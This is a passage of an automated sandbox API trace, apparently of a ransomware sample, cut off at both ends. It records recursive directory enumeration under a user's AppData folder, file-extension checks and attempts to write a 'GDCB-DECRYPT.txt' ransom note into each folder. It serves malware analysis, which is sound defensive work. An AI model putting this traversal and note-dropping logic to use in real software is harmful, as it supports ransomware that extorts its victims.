pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.020] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.020] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 121 [0170.020] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.020] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a4c58 [0170.020] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.020] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned 126 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Application Data" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data") returned 137 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="CEF", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="CEF", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="CEF" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\CEF" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\CEF") returned 124 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="Comms", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="Comms", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Comms" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Comms" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Comms") returned 126 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\GDCB-DECRYPT.txt") returned 137 [0170.021] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Google" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google") returned 127 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="History" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\History" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\History") returned 128 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="IconCache.db", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="IconCache.db", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="IconCache.db" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db") returned 133 [0170.021] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Microsoft" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft") returned 130 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge" [0170.021] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge") returned 134 [0170.021] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.021] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0170.021] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0170.021] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla" [0170.022] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla") returned 128 [0170.022] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.022] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0170.022] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0170.022] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages" [0170.022] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages") returned 129 [0170.022] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.022] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0170.022] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0170.022] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub" [0170.022] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\PeerDistRepub") returned 134 [0170.022] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.022] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0170.022] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0170.022] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers" [0170.022] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Publishers") returned 131 [0170.022] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.022] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0170.022] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0170.022] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Temp" [0170.022] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Temp") returned 125 [0170.022] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.022] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0170.022] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0170.022] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files" [0170.022] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files") returned 145 [0170.022] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.022] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0170.022] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0170.022] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer" [0170.022] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer") returned 134 [0170.022] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0170.022] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0170.022] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0170.022] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore" [0170.022] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore") returned 133 [0170.022] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0170.022] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.022] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.022] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 138 [0170.023] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.023] GetLastError () returned 0x50 [0170.023] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.024] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\") returned 121 [0170.024] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\*" [0170.024] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4918 [0170.024] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.024] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0170.024] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.024] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.024] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0170.024] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0170.024] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0170.024] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe" [0170.024] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\" [0170.024] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.024] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.024] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.024] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.024] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.024] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.024] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 127 [0170.024] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*" [0170.024] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a49d8 [0170.025] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.025] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.025] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.025] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.025] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.025] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.025] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.025] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat" [0170.025] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat") returned 134 [0170.025] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.025] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0170.025] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0170.025] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.025] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned 134 [0170.025] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.025] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0170.025] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0170.025] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.025] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned 132 [0170.025] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0170.025] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.025] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.025] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0170.025] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 143 [0170.025] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.025] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0170.025] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0170.025] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.025] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 144 [0170.025] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.026] GetLastError () returned 0x50 [0170.026] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.028] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\") returned 127 [0170.028] lstrcatW (in: lpString1="C:\\Documents and 